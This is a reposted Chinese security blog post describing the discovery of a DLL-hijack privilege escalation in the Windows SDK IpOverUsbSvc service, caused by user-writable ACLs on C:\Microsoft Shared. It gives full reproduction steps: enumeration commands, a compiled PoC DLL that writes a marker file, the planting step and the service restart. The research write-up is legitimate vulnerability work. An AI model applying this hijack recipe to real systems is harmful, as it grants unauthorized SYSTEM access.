MicrosoftWindowsSDK权限提升挖掘过程?

admin 2025-12-29 01:19:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了WindowsSDK中IpOverUsbSvc服务的本地提权挖掘。该服务以SYSTEM权限运行,但其所在目录因ACL配置不当允许普通用户完全控制。利用ProcessMonitor监控缺失的DLL,攻击者可植入恶意文件并在服务重启后获取SYSTEM权限。该案例展示了不安全目录权限导致DLL劫持的完整利用过程。 综合评分: 81 文章分类: 漏洞分析,漏洞POC,渗透测试,实战经验,终端安全


cover_image

Microsoft Windows SDK 权限提升挖掘过程?

原创

秋风

秋风的安全之路

2025年12月26日 23:33 北京

呃一次撞洞经历吧 挖完发现这个组件被挖过了(CVE-2025-47962) 没事一直坚持我相信会有收获的…

首先枚举高权限用户

Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | Select Name,PathName,State

发现多个以LocalSystem运行的服务

然后寻找user可写入的目录

比如

icacls "C:\Microsoft Shared"

过程中我注意到了IpOverUsbSvc

sc.exe qc IpOverUsbSvcSERVICE_NAME: IpOverUsbSvcTYPE               : 10  WIN32_OWN_PROCESSSTART_TYPE         : 2   AUTO_STARTBINARY_PATH_NAME   : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"SERVICE_START_NAME : LocalSystem

以LocalSystem权限运行,可执行文件位于 C:\Microsoft Shared\ 目录,该目录普通用户有完全控制权限

然后做写入测试

echo "test" > "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"type "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"del "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"

发现普通用户可以在SYSTEM服务目录写入文件

然后监控dll

使用Process Monitor设置过滤器:Process Name = IpOverUsbSvc.exeResult = NAME NOT FOUNDPath ends with .dll

进程架构确认

Get-Process -Id (服务PID) | Select-Object -ExpandProperty Modules

输出显示加载了wow64.dll,确认是32位进程,需要编译32位DLL

poc.c

#include&nbsp;<windows.h>BOOL&nbsp;WINAPI&nbsp;DllMain(HINSTANCE&nbsp;hDLL,&nbsp;DWORD&nbsp;dwReason,&nbsp;LPVOID&nbsp;lpReserved) {&nbsp; &nbsp;&nbsp;if&nbsp;(dwReason&nbsp;==&nbsp;DLL_PROCESS_ATTACH) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HANDLE&nbsp;hFile&nbsp;=&nbsp;CreateFileA(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"C:\\Windows\\Temp\\PWNED_SYSTEM.txt",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;GENERIC_WRITE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CREATE_ALWAYS,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FILE_ATTRIBUTE_NORMAL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hFile&nbsp;!=&nbsp;INVALID_HANDLE_VALUE) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char msg[]&nbsp;=&nbsp;"[+] IpOverUsbSvc DLL Hijack PoC\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"[+] Code execution as SYSTEM achieved!\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"[+] Vuln: Insecure ACL on C:\\Microsoft Shared\\\r\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"[+] BUILTIN\\Users have Full Control (F)\r\n";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DWORD&nbsp;written;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;WriteFile(hFile, msg, sizeof(msg)&nbsp;-&nbsp;1,&nbsp;&written,&nbsp;NULL);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CloseHandle(hFile);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}
i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32

在user权限cmd执行

copy&nbsp;CRYPTBASE.dll&nbsp;"C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"

管理员cmd模拟触发

net&nbsp;stop&nbsp;IpOverUsbSvcnet start IpOverUsbSvc

PWNED!!!(呃我究竟在高兴些什么)

原因很简单

Windows SDK安装时创建的 C:\Microsoft Shared\ 目录权限配置不当:

C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)

所有本地用户对该目录及其子目录拥有完全控制权限,而IpOverUsbSvc服务以SYSTEM权限从该目录运行


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:秋风的安全之路 秋风《Microsoft Windows SDK 权限提升挖掘过程?》

评论:0   参与:  0